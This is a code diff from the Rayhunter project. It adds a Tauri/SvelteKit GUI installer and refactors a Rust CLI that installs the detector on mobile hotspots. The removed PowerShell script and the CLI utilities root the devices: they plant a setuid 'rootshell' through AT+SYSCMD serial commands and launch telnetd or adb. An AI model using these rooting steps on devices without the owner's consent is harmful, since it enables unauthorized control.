# This seems to be only an issue on Windows, see https://github.com/rust-lang/cargo/issues/8519
name = "installer_gui_lib"
crate-type = ["staticlib", "cdylib", "rlib"]
[build-dependencies]
tauri-build = { version = "2", features = [] }
[dependencies]
tauri = { version = "2", features = [] }
tauri-plugin-opener = "2"
serde = { version = "1", features = ["derive"] }
serde_json = "1"
anyhow = "1.0.100"
installer = { path = "../../installer" }

View File

@@ -0,0 +1,3 @@
fn main() {
tauri_build::build()
}

View File

@@ -0,0 +1,7 @@
{
"$schema": "../gen/schemas/desktop-schema.json",
"identifier": "default",
"description": "Capability for the main window",
"windows": ["main"],
"permissions": ["core:default", "opener:default"]
}

Binary file not shown.

After

Width:  |  Height:  |  Size: 11 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 27 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.0 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 4.9 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 8.8 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 12 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 14 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 31 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.8 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 35 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 3.0 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 5.4 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 7.2 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 3.6 KiB

Binary file not shown.

Binary file not shown.

After

Width:  |  Height:  |  Size: 40 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 71 KiB

View File

@@ -0,0 +1,34 @@
use tauri::Emitter;
async fn run_installer(app_handle: tauri::AppHandle, args: String) -> anyhow::Result<()> {
tauri::async_runtime::spawn_blocking(move || {
installer::run_with_callback(
// TODO: we should split using something similar to shlex in python
args.split_whitespace(),
Some(Box::new(move |output| {
app_handle
.emit("installer-output", output)
.expect("Error sending Rayhunter CLI installer output to GUI frontend");
})),
)
})
.await?
}
#[tauri::command]
async fn install_rayhunter(app_handle: tauri::AppHandle, args: String) -> Result<(), String> {
// the return value of tauri commands needs to be serializable by serde which we accomplish
// here by converting anyhow::Error to a string
run_installer(app_handle, args)
.await
.map_err(|error| format!("{error:?}"))
}
#[cfg_attr(mobile, tauri::mobile_entry_point)]
pub fn run() {
tauri::Builder::default()
.plugin(tauri_plugin_opener::init())
.invoke_handler(tauri::generate_handler![install_rayhunter])
.run(tauri::generate_context!())
.expect("error while running tauri application");
}

View File

@@ -0,0 +1,6 @@
// Prevents additional console window on Windows in release, DO NOT REMOVE!!
#![cfg_attr(not(debug_assertions), windows_subsystem = "windows")]
fn main() {
installer_gui_lib::run()
}

View File

@@ -0,0 +1,34 @@
{
"$schema": "https://schema.tauri.app/config/2",
"productName": "Rayhunter Installer",
"identifier": "com.rayhunter-installer.app",
"build": {
"beforeDevCommand": "npm run dev",
"devUrl": "http://localhost:1420",
"beforeBuildCommand": "npm run build",
"frontendDist": "../build"
},
"app": {
"windows": [
{
"title": "Rayhunter Installer",
"width": 800,
"height": 600
}
],
"security": {
"csp": null
}
},
"bundle": {
"active": true,
"targets": ["app", "appimage", "deb", "msi", "nsis", "rpm"],
"icon": [
"icons/32x32.png",
"icons/128x128.png",
"icons/128x128@2x.png",
"icons/icon.icns",
"icons/icon.ico"
]
}
}

View File

@@ -0,0 +1,7 @@
@import 'tailwindcss';
@theme {
--color-rayhunter-blue: #4e4eb1;
--color-rayhunter-dark-blue: #3f3da0;
--color-rayhunter-green: #94ea18;
}

View File

@@ -0,0 +1,12 @@
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8" />
<link rel="icon" href="%sveltekit.assets%/favicon.png" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
%sveltekit.head%
</head>
<body data-sveltekit-preload-data="hover">
<div style="display: contents">%sveltekit.body%</div>
</body>
</html>

View File

@@ -0,0 +1,6 @@
<script>
import '../app.css';
let { children } = $props();
</script>
{@render children()}

View File

@@ -0,0 +1,5 @@
// Tauri doesn't have a Node.js server to do proper SSR
// so we will use adapter-static to prerender the app (SSG)
// See: https://v2.tauri.app/start/frontend/sveltekit/ for more info
export const prerender = true;
export const ssr = false;

View File

@@ -0,0 +1,95 @@
<script lang="ts">
import { invoke } from '@tauri-apps/api/core';
import { listen } from '@tauri-apps/api/event';
let buttonEnabled = $state(true);
let installerArgs = $state('');
let installerOutput = $state('');
listen<string>('installer-output', (event) => {
installerOutput += event.payload;
});
async function run_installer(event: Event) {
event.preventDefault();
buttonEnabled = false;
installerOutput = '';
try {
await invoke('install_rayhunter', { args: installerArgs });
} catch (error) {
installerOutput +=
'Rayhunter GUI installer encountered an internal error. Error was:\n';
installerOutput += error;
}
buttonEnabled = true;
}
</script>
<div class="p-4 xl:px-8 bg-rayhunter-blue drop-shadow flex flex-row justify-between items-center">
<!-- https://www.w3.org/WAI/tutorials/images/decorative/ -->
<img src="/rayhunter_text.png" alt="" class="h-10 xl:h-12" />
<div class="flex flex-row gap-4">
<a
class="flex flex-row gap-1 group"
href="https://github.com/EFForg/rayhunter/issues"
target="_blank"
>
<span class="hidden text-white group-hover:text-gray-400 lg:flex">Report Issue</span>
<svg
class="w-6 h-6 text-white group-hover:text-gray-400"
aria-hidden="true"
xmlns="http://www.w3.org/2000/svg"
width="24"
height="24"
fill="currentColor"
viewBox="0 0 24 24"
>
<path
fill-rule="evenodd"
d="M12.006 2a9.847 9.847 0 0 0-6.484 2.44 10.32 10.32 0 0 0-3.393 6.17 10.48 10.48 0 0 0 1.317 6.955 10.045 10.045 0 0 0 5.4 4.418c.504.095.683-.223.683-.494 0-.245-.01-1.052-.014-1.908-2.78.62-3.366-1.21-3.366-1.21a2.711 2.711 0 0 0-1.11-1.5c-.907-.637.07-.621.07-.621.317.044.62.163.885.346.266.183.487.426.647.71.135.253.318.476.538.655a2.079 2.079 0 0 0 2.37.196c.045-.52.27-1.006.635-1.37-2.219-.259-4.554-1.138-4.554-5.07a4.022 4.022 0 0 1 1.031-2.75 3.77 3.77 0 0 1 .096-2.713s.839-.275 2.749 1.05a9.26 9.26 0 0 1 5.004 0c1.906-1.325 2.74-1.05 2.74-1.05.37.858.406 1.828.101 2.713a4.017 4.017 0 0 1 1.029 2.75c0 3.939-2.339 4.805-4.564 5.058a2.471 2.471 0 0 1 .679 1.897c0 1.372-.012 2.477-.012 2.814 0 .272.18.592.687.492a10.05 10.05 0 0 0 5.388-4.421 10.473 10.473 0 0 0 1.313-6.948 10.32 10.32 0 0 0-3.39-6.165A9.847 9.847 0 0 0 12.007 2Z"
clip-rule="evenodd"
/>
</svg>
</a>
<a
class="flex flex-row gap-1 group"
href="https://efforg.github.io/rayhunter/"
target="_blank"
>
<span class="hidden text-white group-hover:text-gray-400 lg:flex">Docs</span>
<svg
class="w-6 h-6 text-white group-hover:text-gray-400"
aria-hidden="true"
xmlns="http://www.w3.org/2000/svg"
width="24"
height="24"
fill="none"
viewBox="0 0 24 24"
>
<path
stroke="currentColor"
stroke-linecap="round"
stroke-linejoin="round"
stroke-width="2"
d="M5 19V4a1 1 0 0 1 1-1h12a1 1 0 0 1 1 1v13H7a2 2 0 0 0-2 2Zm0 0a2 2 0 0 0 2 2h12M9 3v14m7 0v4"
/>
</svg>
</a>
</div>
</div>
<form class="flex justify-center pt-5" onsubmit={run_installer}>
<input
class="mr-1 px-5 py-2 rounded-lg shadow-md"
placeholder="Enter CLI installer args..."
bind:value={installerArgs}
/>
<button
class="{buttonEnabled ? 'cursor-pointer' : ''} px-5 py-2 rounded-lg shadow-md"
disabled={!buttonEnabled}
type="submit">Run</button
>
</form>
<p class="p-4">Installer output:</p>
<p class="bg-gray-100 px-5 py-2 rounded-lg shadow-md whitespace-pre-line">
{installerOutput}
</p>

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.2 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 27 KiB

View File

@@ -0,0 +1,15 @@
// Tauri doesn't have a Node.js server to do proper SSR
// so we will use adapter-static to prerender the app (SSG)
// See: https://v2.tauri.app/start/frontend/sveltekit/ for more info
import adapter from '@sveltejs/adapter-static';
import { vitePreprocess } from '@sveltejs/vite-plugin-svelte';
/** @type {import('@sveltejs/kit').Config} */
const config = {
preprocess: vitePreprocess(),
kit: {
adapter: adapter(),
},
};
export default config;

View File

@@ -0,0 +1,19 @@
{
"extends": "./.svelte-kit/tsconfig.json",
"compilerOptions": {
"allowJs": true,
"checkJs": true,
"esModuleInterop": true,
"forceConsistentCasingInFileNames": true,
"resolveJsonModule": true,
"skipLibCheck": true,
"sourceMap": true,
"strict": true,
"moduleResolution": "bundler"
}
// Path aliases are handled by https://kit.svelte.dev/docs/configuration#alias
// except $lib which is handled by https://kit.svelte.dev/docs/configuration#files
//
// If you want to overwrite includes/excludes, make sure to copy over the relevant includes/excludes
// from the referenced tsconfig.json - TypeScript does not merge them in
}

View File

@@ -0,0 +1,33 @@
import { defineConfig } from 'vite';
import { sveltekit } from '@sveltejs/kit/vite';
import tailwindcss from '@tailwindcss/vite';
// @ts-expect-error process is a nodejs global
const host = process.env.TAURI_DEV_HOST;
// https://vitejs.dev/config/
export default defineConfig(async () => ({
plugins: [sveltekit(), tailwindcss()],
// Vite options tailored for Tauri development and only applied in `tauri dev` or `tauri build`
//
// 1. prevent vite from obscuring rust errors
clearScreen: false,
// 2. tauri expects a fixed port, fail if that port is not available
server: {
port: 1420,
strictPort: true,
host: host || false,
hmr: host
? {
protocol: 'ws',
host,
port: 1421,
}
: undefined,
watch: {
// 3. tell vite to ignore watching `src-tauri`
ignored: ['**/src-tauri/**'],
},
},
}));

View File

@@ -1,8 +1,16 @@
[package]
name = "installer"
version = "0.8.0"
version = "0.9.0"
edition = "2024"
[lib]
name = "installer"
crate-type = ["rlib"]
[[bin]]
name = "installer"
path = "src/main.rs"
[dependencies]
aes = "0.8.4"
anyhow = "1.0.98"
@@ -23,8 +31,12 @@ sha2 = "0.10.8"
tokio = { version = "1.44.2", features = ["io-util", "macros", "rt"], default-features = false }
tokio-retry2 = "0.5.7"
tokio-stream = "0.1.17"
futures = "0.3"
[target.'cfg(target_os = "linux")'.dependencies.adb_client]
[target.'cfg(unix)'.dependencies]
termios = "0.3"
[target.'cfg(all(target_os = "linux", not(target_os = "android")))'.dependencies.adb_client]
git = "https://github.com/EFForg/adb_client.git"
rev = "e511662394e4fa32865c154c40f81a3d846f700c"
default-features = false

View File

@@ -1,142 +0,0 @@
$global:adb = ".\platform-tools-latest-windows\platform-tools\adb.exe"
$global:serial = ".\installer-windows-x86_64\installer.exe"
function _adb_push {
& $global:adb -d push @args *> $null
$exitCode = $LASTEXITCODE
return $exitCode
}
function _adb_shell {
& $global:adb -d shell @args *> $null
$exitCode = $LASTEXITCODE
return $exitCode
}
function _wait_for_adb_shell {
do {
start-sleep -seconds 1
$success = _adb_shell "uname -a"
} until ($success -eq 0)
}
function _wait_for_atfwd_daemon {
do {
start-sleep -seconds 1
$success = _adb_shell "pgrep atfwd_daemon"
} until ($success -eq 0)
}
function force_debug_mode {
write-host "Using adb at $($global:adb)"
write-host "Forcing a switch into debug mode to enable ADB"
_serial "--root" | Out-Host
write-host "adb enabled, waiting for reboot..." -nonewline
_wait_for_adb_shell
write-host " it's alive!"
write-host "waiting for atfwd_daemon to start ..." -nonewline
_wait_for_atfwd_daemon
write-host " done!"
}
function _serial {
param (
[Parameter(Mandatory = $false, ValueFromRemainingArguments = $true)]
[string[]]$Args
)
# Build the full argument list
$allArgs = @("util", "serial") + $Args
# Call the serial executable
& $global:serial @allArgs
}
function setup_rootshell {
write-host "setting up rootshell"
_adb_push "rootshell" "/tmp" | Out-null
write-host "cp..."
_serial "AT+SYSCMD=cp /tmp/rootshell /bin/rootshell" | Out-Host
start-sleep -seconds 1
write-host "chown..."
_serial "AT+SYSCMD=chown root /bin/rootshell" | Out-Host
start-sleep -seconds 1
write-host "chmod..."
_serial "AT+SYSCMD=chmod 4755 /bin/rootshell" | Out-Host
start-sleep -seconds 1
_adb_shell '/bin/rootshell -c id' | Out-null
write-host "we have root!"
}
function setup_rayhunter {
write-host "installing rayhunter..."
_serial "AT+SYSCMD=mkdir -p /data/rayhunter" | Out-Host
_adb_push "config.toml.in" "/tmp/config.toml" | Out-Null
_serial "AT+SYSCMD=mv /tmp/config.toml /data/rayhunter" | Out-Host
_adb_push "rayhunter-daemon-orbic/rayhunter-daemon" "/tmp/rayhunter-daemon" | Out-Null
_serial "AT+SYSCMD=mv /tmp/rayhunter-daemon /data/rayhunter" | Out-Host
_adb_push "scripts/rayhunter_daemon" "/tmp/rayhunter_daemon" | Out-Null
_serial "AT+SYSCMD=mv /tmp/rayhunter_daemon /etc/init.d/rayhunter_daemon" | Out-Host
_adb_push "scripts/misc-daemon" "/tmp/misc-daemon" | Out-Null
_serial "AT+SYSCMD=mv /tmp/misc-daemon /etc/init.d/misc-daemon" | Out-Host
_serial "AT+SYSCMD=chmod 755 /data/rayhunter/rayhunter-daemon" | Out-Host
_serial "AT+SYSCMD=chmod 755 /etc/init.d/rayhunter_daemon" | Out-Host
_serial "AT+SYSCMD=chmod 755 /etc/init.d/misc-daemon" | Out-Host
write-host "waiting for reboot..."
_serial "AT+SYSCMD=shutdown -r -t 1 now" | Out-Host
do {
start-sleep -seconds 1
} until ((_adb_shell "true 2> /dev/null") -ne 0)
_wait_for_adb_shell
write-host "done!"
}
function test_rayhunter {
$URL = "http://localhost:8080/index.html"
& $global:adb -d forward tcp:8080 tcp:8080
$exitCode = $LASTEXITCODE
if ($exitCode -ne 0) {
write-host "adb forward tcp:8080 tcp:8080 failed with exit code $($exitCode)"
return
}
write-host "checking for rayhunter server..." -nonewline
$seconds = 0
do {
try {
$resp = invoke-webrequest -uri $URL
} catch {
# Fail silently
$resp = $null
}
if ($resp.statuscode -eq 200) {
write-host "success!"
write-host "you can access rayhunter at $($URL)"
return
}
start-sleep 1
$seconds = $seconds + 1
} until ($seconds -eq 30)
write-host "timeout reached! failed to reach rayhunter url $($URL), something went wrong :("
}
function get_android_tools {
write-host "adb not found, downloading local copy"
invoke-webrequest "https://dl.google.com/android/repository/platform-tools-latest-windows.zip" -outfile ./platform-tools-latest-windows.zip
expand-archive -force -path "platform-tools-latest-windows.zip"
}
if (-not (test-path -path $global:serial)) {
write-error "can't find serial, aborting"
return
}
if (-not (test-path -path $global:adb)) {
get_android_tools
}
force_debug_mode
setup_rootshell
setup_rayhunter
test_rayhunter

346
installer/src/lib.rs Normal file
View File

@@ -0,0 +1,346 @@
use anyhow::{Context, Error};
use clap::{Parser, Subcommand};
use env_logger::Env;
#[cfg(not(target_os = "android"))]
use anyhow::bail;
#[cfg(not(target_os = "android"))]
mod orbic;
mod orbic_auth;
mod orbic_network;
mod output;
#[cfg(not(target_os = "android"))]
mod pinephone;
mod tmobile;
mod tplink;
mod util;
#[cfg(not(target_os = "android"))]
mod uz801;
mod wingtech;
use crate::output::eprintln;
static CONFIG_TOML: &str = include_str!("../../dist/config.toml.in");
static RAYHUNTER_DAEMON_INIT: &str = include_str!("../../dist/scripts/rayhunter_daemon");
#[derive(Parser, Debug)]
#[command(version, about)]
struct Args {
#[command(subcommand)]
command: Command,
}
// A note on stylisation of device names: strip special characters and spell like This regardless
// of the manufacturer's capitalisation.
#[derive(Subcommand, Debug)]
enum Command {
/// Install rayhunter on the Orbic RC400L using the legacy USB+ADB-based installer.
#[cfg(not(target_os = "android"))]
OrbicUsb(InstallOrbic),
/// Install rayhunter on the Orbic RC400L or Moxee Hotspot via network.
#[clap(alias = "orbic-network")]
Orbic(OrbicNetworkArgs),
/// Install rayhunter on the TMobile TMOHS1.
Tmobile(TmobileArgs),
/// Install rayhunter on the Uz801.
#[cfg(not(target_os = "android"))]
Uz801(Uz801Args),
/// Install rayhunter on a PinePhone's Quectel modem.
#[cfg(not(target_os = "android"))]
Pinephone(InstallPinephone),
/// Install rayhunter on the TP-Link M7350.
Tplink(InstallTpLink),
/// Install rayhunter on the Wingtech CT2MHS01.
Wingtech(WingtechArgs),
/// Developer utilities.
Util(Util),
}
#[derive(Parser, Debug)]
struct InstallTpLink {
/// Do not enforce use of SD card. All data will be stored in /mnt/card regardless, which means
/// that if an SD card is later added, your existing installation is shadowed!
#[arg(long)]
skip_sdcard: bool,
/// IP address for TP-Link admin interface, if custom.
#[arg(long, default_value = "192.168.0.1")]
admin_ip: String,
/// For advanced users: Specify the path of the SD card to be mounted explicitly.
///
/// The default (empty string) is to use whichever sdcard path the device would use natively to
/// mount storage on. On most TP-Link this is /media/card, but on hardware versions 9+ this is
/// /media/sdcard
///
/// Only override this when the installer does not work on your hardware version, as otherwise
/// your custom path may conflict with the builtin storage functionality.
#[arg(long, default_value = "")]
sdcard_path: String,
}
#[derive(Parser, Debug)]
struct InstallOrbic {}
#[derive(Parser, Debug)]
struct OrbicNetworkArgs {
/// IP address for Orbic admin interface, if custom.
#[arg(long, default_value = "192.168.1.1")]
admin_ip: String,
/// Admin username for authentication.
#[arg(long, default_value = "admin")]
admin_username: String,
/// Admin password for authentication.
#[arg(long)]
admin_password: Option<String>,
}
#[derive(Parser, Debug)]
struct InstallPinephone {}
#[derive(Parser, Debug)]
struct Util {
#[command(subcommand)]
command: UtilSubCommand,
}
#[derive(Subcommand, Debug)]
enum UtilSubCommand {
/// Send a serial command to the Orbic.
#[cfg(not(target_os = "android"))]
Serial(Serial),
/// Start an ADB shell
#[cfg(not(target_os = "android"))]
Shell,
/// Root the Tmobile and launch adb.
#[cfg(not(target_os = "android"))]
TmobileStartAdb(TmobileArgs),
/// Root the Tmobile and launch telnetd.
TmobileStartTelnet(TmobileArgs),
/// Root the Uz801 and launch adb.
#[cfg(not(target_os = "android"))]
Uz801StartAdb(Uz801Args),
/// Root the tplink and launch telnetd.
TplinkStartTelnet(TplinkStartTelnet),
/// Root the TP-Link and open an interactive shell.
TplinkShell(TplinkStartTelnet),
/// Root the Wingtech and launch telnetd.
WingtechStartTelnet(WingtechArgs),
/// Root the Wingtech and launch adb.
WingtechStartAdb(WingtechArgs),
/// Unlock the Pinephone's modem and start adb.
#[cfg(not(target_os = "android"))]
PinephoneStartAdb,
/// Lock the Pinephone's modem and stop adb.
#[cfg(not(target_os = "android"))]
PinephoneStopAdb,
/// Root the Orbic and launch telnetd.
OrbicStartTelnet(OrbicNetworkArgs),
/// Root the Orbic and open an interactive shell.
OrbicShell(OrbicNetworkArgs),
/// Send a file to the TP-Link device over telnet.
///
/// Before running this utility, you need to make telnet accessible with `installer util
/// tplink-start-telnet`.
TplinkSendFile(TplinkSendFile),
/// Send a file to the Wingtech device over telnet.
///
/// Before running this utility, you need to make telnet accessible with `installer util
/// wingtech-start-telnet`.
WingtechSendFile(WingtechSendFile),
}
#[derive(Parser, Debug)]
struct TmobileArgs {
/// IP address for Tmobile admin interface, if custom.
#[arg(long, default_value = "192.168.0.1")]
admin_ip: String,
/// Web portal admin password.
#[arg(long)]
admin_password: String,
}
#[derive(Parser, Debug)]
struct Uz801Args {
/// IP address for Uz801 admin interface, if custom.
#[arg(long, default_value = "192.168.100.1")]
admin_ip: String,
}
#[derive(Parser, Debug)]
struct TplinkStartTelnet {
/// IP address for TP-Link admin interface, if custom.
#[arg(long, default_value = "192.168.0.1")]
admin_ip: String,
}
#[derive(Parser, Debug)]
struct TplinkSendFile {
/// IP address for TP-Link admin interface, if custom.
#[arg(long, default_value = "192.168.0.1")]
admin_ip: String,
/// Local path to the file to send.
local_path: String,
/// Remote path where the file should be stored on the device.
remote_path: String,
}
#[derive(Parser, Debug)]
struct WingtechSendFile {
/// IP address for Wingtech admin interface, if custom.
#[arg(long, default_value = "192.168.1.1")]
admin_ip: String,
/// Local path to the file to send.
local_path: String,
/// Remote path where the file should be stored on the device.
remote_path: String,
}
#[derive(Parser, Debug)]
struct WingtechArgs {
/// IP address for Wingtech admin interface, if custom.
#[arg(long, default_value = "192.168.1.1")]
admin_ip: String,
/// Web portal admin password.
#[arg(long)]
admin_password: String,
}
#[derive(Parser, Debug)]
struct Serial {
#[arg(long)]
root: bool,
command: Vec<String>,
}
async fn run(args: Args) -> Result<(), Error> {
env_logger::Builder::from_env(Env::default().default_filter_or("off")).init();
match args.command {
Command::Tmobile(args) => tmobile::install(args).await.context("Failed to install rayhunter on the Tmobile TMOHS1. Make sure your computer is connected to the hotspot using USB tethering or WiFi.")?,
#[cfg(not(target_os = "android"))]
Command::Uz801(args) => uz801::install(args).await.context("Failed to install rayhunter on the Uz801. Make sure your computer is connected to the hotspot using USB.")?,
Command::Tplink(tplink) => tplink::main_tplink(tplink).await.context("Failed to install rayhunter on the TP-Link M7350. Make sure your computer is connected to the hotspot using USB tethering or WiFi.")?,
#[cfg(not(target_os = "android"))]
Command::Pinephone(_) => pinephone::install().await
.context("Failed to install rayhunter on the Pinephone's Quectel modem")?,
#[cfg(not(target_os = "android"))]
Command::OrbicUsb(_) => orbic::install().await.context("\nFailed to install rayhunter on the Orbic RC400L (USB installer)")?,
Command::Orbic(args) => orbic_network::install(args.admin_ip, args.admin_username, args.admin_password).await.context("\nFailed to install rayhunter on the Orbic RC400L")?,
Command::Wingtech(args) => wingtech::install(args).await.context("\nFailed to install rayhunter on the Wingtech CT2MHS01")?,
Command::Util(subcommand) => {
match subcommand.command {
#[cfg(not(target_os = "android"))]
UtilSubCommand::Serial(serial_cmd) => {
if serial_cmd.root {
if !serial_cmd.command.is_empty() {
eprintln!("You cannot use --root and specify a command at the same time");
std::process::exit(64);
}
orbic::enable_command_mode()?;
} else if serial_cmd.command.is_empty() {
eprintln!("Command cannot be an empty string");
std::process::exit(64);
} else {
let cmd = serial_cmd.command.join(" ");
match orbic::open_orbic()? {
Some(interface) => orbic::send_serial_cmd(&interface, &cmd).await?,
None => bail!(orbic::ORBIC_NOT_FOUND),
}
}
}
#[cfg(not(target_os = "android"))]
UtilSubCommand::Shell => orbic::shell().await.context("\nFailed to open shell on Orbic RC400L")?,
UtilSubCommand::TmobileStartTelnet(args) => wingtech::start_telnet(&args.admin_ip, &args.admin_password).await.context("\nFailed to start telnet on the Tmobile TMOHS1")?,
#[cfg(not(target_os = "android"))]
UtilSubCommand::TmobileStartAdb(args) => wingtech::start_adb(&args.admin_ip, &args.admin_password).await.context("\nFailed to start adb on the Tmobile TMOHS1")?,
#[cfg(not(target_os = "android"))]
UtilSubCommand::Uz801StartAdb(args) => uz801::activate_usb_debug(&args.admin_ip).await.context("\nFailed to activate USB debug on the Uz801")?,
UtilSubCommand::TplinkStartTelnet(options) => {
tplink::start_telnet(&options.admin_ip).await?;
}
UtilSubCommand::TplinkShell(options) => {
tplink::shell(&options.admin_ip).await.context("\nFailed to open shell on TP-Link device")?;
}
UtilSubCommand::TplinkSendFile(options) => {
util::send_file(&options.admin_ip, &options.local_path, &options.remote_path).await?;
}
UtilSubCommand::WingtechSendFile(options) => {
util::send_file(&options.admin_ip, &options.local_path, &options.remote_path).await?;
}
UtilSubCommand::WingtechStartTelnet(args) => wingtech::start_telnet(&args.admin_ip, &args.admin_password).await.context("\nFailed to start telnet on the Wingtech CT2MHS01")?,
UtilSubCommand::WingtechStartAdb(args) => wingtech::start_adb(&args.admin_ip, &args.admin_password).await.context("\nFailed to start adb on the Wingtech CT2MHS01")?,
#[cfg(not(target_os = "android"))]
UtilSubCommand::PinephoneStartAdb => pinephone::start_adb().await.context("\nFailed to start adb on the PinePhone's modem")?,
#[cfg(not(target_os = "android"))]
UtilSubCommand::PinephoneStopAdb => pinephone::stop_adb().await.context("\nFailed to stop adb on the PinePhone's modem")?,
UtilSubCommand::OrbicStartTelnet(args) => orbic_network::start_telnet(&args.admin_ip, &args.admin_username, args.admin_password.as_deref()).await.context("\nFailed to start telnet on the Orbic RC400L")?,
UtilSubCommand::OrbicShell(args) => orbic_network::shell(&args.admin_ip, &args.admin_username, args.admin_password.as_deref()).await.context("\nFailed to open shell on Orbic RC400L")?,
}
}
}
Ok(())
}
/// Type alias for output callback function
pub type OutputCallback = Box<dyn Fn(&str) + Send + Sync>;
/// Run the installer with CLI arguments and optional output callback
///
/// # Example
/// ```no_run
/// use installer;
///
/// // if the callback is None, stdout/stderr is going to be used
/// let result = installer::run_with_callback(
/// ["orbic-network", "--admin-password", "12345"],
/// Some(Box::new(|output| {
/// print!("{}", output);
/// }))
/// );
/// ```
pub fn run_with_callback<'a>(
args: impl IntoIterator<Item = &'a str>,
callback: Option<OutputCallback>,
) -> Result<(), Error> {
let _guard;
if let Some(cb) = callback {
_guard = output::set_output_callback(move |s: &str| cb(s));
}
tokio::runtime::Builder::new_current_thread()
.enable_all()
.build()
.context("Failed to create Tokio runtime")?
.block_on(async {
let args = std::iter::once("installer").chain(args);
match Args::try_parse_from(args) {
Ok(parsed_args) => run(parsed_args).await,
Err(e) => {
eprintln!("{}", e);
Ok(())
}
}
})
}
/// Get the version of the installer
pub fn version() -> &'static str {
env!("CARGO_PKG_VERSION")
}
/// Run the CLI installer
///
/// This function is public so the binary can call it, library users should use `run_with_callback`
/// instead.
pub async fn main_cli() -> Result<(), Error> {
let args = Args::parse();
run(args).await
}

View File

@@ -1,260 +1,6 @@
use anyhow::{Context, Error, bail};
use clap::{Parser, Subcommand};
use env_logger::Env;
mod orbic;
mod orbic_auth;
mod orbic_network;
mod pinephone;
mod tmobile;
mod tplink;
mod util;
mod uz801;
mod wingtech;
pub static CONFIG_TOML: &str = include_str!("../../dist/config.toml.in");
pub static RAYHUNTER_DAEMON_INIT: &str = include_str!("../../dist/scripts/rayhunter_daemon");
#[derive(Parser, Debug)]
#[command(version, about)]
struct Args {
#[command(subcommand)]
command: Command,
}
// A note on stylisation of device names: strip special characters and spell like This regardless
// of the manufacturer's capitalisation.
#[derive(Subcommand, Debug)]
enum Command {
/// Install rayhunter on the Orbic RC400L using the legacy USB+ADB-based installer.
OrbicUsb(InstallOrbic),
/// Install rayhunter on the Orbic RC400L or Moxee Hotspot via network.
#[clap(alias = "orbic-network")]
Orbic(OrbicNetworkArgs),
/// Install rayhunter on the TMobile TMOHS1.
Tmobile(TmobileArgs),
/// Install rayhunter on the Uz801.
Uz801(Uz801Args),
/// Install rayhunter on a PinePhone's Quectel modem.
Pinephone(InstallPinephone),
/// Install rayhunter on the TP-Link M7350.
Tplink(InstallTpLink),
/// Install rayhunter on the Wingtech CT2MHS01.
Wingtech(WingtechArgs),
/// Developer utilities.
Util(Util),
}
#[derive(Parser, Debug)]
struct InstallTpLink {
/// Do not enforce use of SD card. All data will be stored in /mnt/card regardless, which means
/// that if an SD card is later added, your existing installation is shadowed!
#[arg(long)]
skip_sdcard: bool,
/// IP address for TP-Link admin interface, if custom.
#[arg(long, default_value = "192.168.0.1")]
admin_ip: String,
/// For advanced users: Specify the path of the SD card to be mounted explicitly.
///
/// The default (empty string) is to use whichever sdcard path the device would use natively to
/// mount storage on. On most TP-Link this is /media/card, but on hardware versions 9+ this is
/// /media/sdcard
///
/// Only override this when the installer does not work on your hardware version, as otherwise
/// your custom path may conflict with the builtin storage functionality.
#[arg(long, default_value = "")]
sdcard_path: String,
}
#[derive(Parser, Debug)]
struct InstallOrbic {}
#[derive(Parser, Debug)]
struct OrbicNetworkArgs {
/// IP address for Orbic admin interface, if custom.
#[arg(long, default_value = "192.168.1.1")]
admin_ip: String,
/// Admin username for authentication.
#[arg(long, default_value = "admin")]
admin_username: String,
/// Admin password for authentication.
#[arg(long)]
admin_password: Option<String>,
}
#[derive(Parser, Debug)]
struct InstallPinephone {}
#[derive(Parser, Debug)]
struct Util {
#[command(subcommand)]
command: UtilSubCommand,
}
#[derive(Subcommand, Debug)]
enum UtilSubCommand {
/// Send a serial command to the Orbic.
Serial(Serial),
/// Start an ADB shell
Shell,
/// Root the Tmobile and launch adb.
TmobileStartAdb(TmobileArgs),
/// Root the Tmobile and launch telnetd.
TmobileStartTelnet(TmobileArgs),
/// Root the Uz801 and launch adb.
Uz801StartAdb(Uz801Args),
/// Root the tplink and launch telnetd.
TplinkStartTelnet(TplinkStartTelnet),
/// Root the Wingtech and launch telnetd.
WingtechStartTelnet(WingtechArgs),
/// Root the Wingtech and launch adb.
WingtechStartAdb(WingtechArgs),
/// Unlock the Pinephone's modem and start adb.
PinephoneStartAdb,
/// Lock the Pinephone's modem and stop adb.
PinephoneStopAdb,
/// Root the Orbic and launch telnetd.
OrbicStartTelnet(OrbicNetworkArgs),
/// Send a file to the TP-Link device over telnet.
///
/// Before running this utility, you need to make telnet accessible with `installer util
/// tplink-start-telnet`.
TplinkSendFile(TplinkSendFile),
/// Send a file to the Wingtech device over telnet.
///
/// Before running this utility, you need to make telnet accessible with `installer util
/// wingtech-start-telnet`.
WingtechSendFile(WingtechSendFile),
}
#[derive(Parser, Debug)]
struct TmobileArgs {
/// IP address for Tmobile admin interface, if custom.
#[arg(long, default_value = "192.168.0.1")]
admin_ip: String,
/// Web portal admin password.
#[arg(long)]
admin_password: String,
}
#[derive(Parser, Debug)]
struct Uz801Args {
/// IP address for Uz801 admin interface, if custom.
#[arg(long, default_value = "192.168.100.1")]
admin_ip: String,
}
#[derive(Parser, Debug)]
struct TplinkStartTelnet {
/// IP address for TP-Link admin interface, if custom.
#[arg(long, default_value = "192.168.0.1")]
admin_ip: String,
}
#[derive(Parser, Debug)]
struct TplinkSendFile {
/// IP address for TP-Link admin interface, if custom.
#[arg(long, default_value = "192.168.0.1")]
admin_ip: String,
/// Local path to the file to send.
local_path: String,
/// Remote path where the file should be stored on the device.
remote_path: String,
}
#[derive(Parser, Debug)]
struct WingtechSendFile {
/// IP address for Wingtech admin interface, if custom.
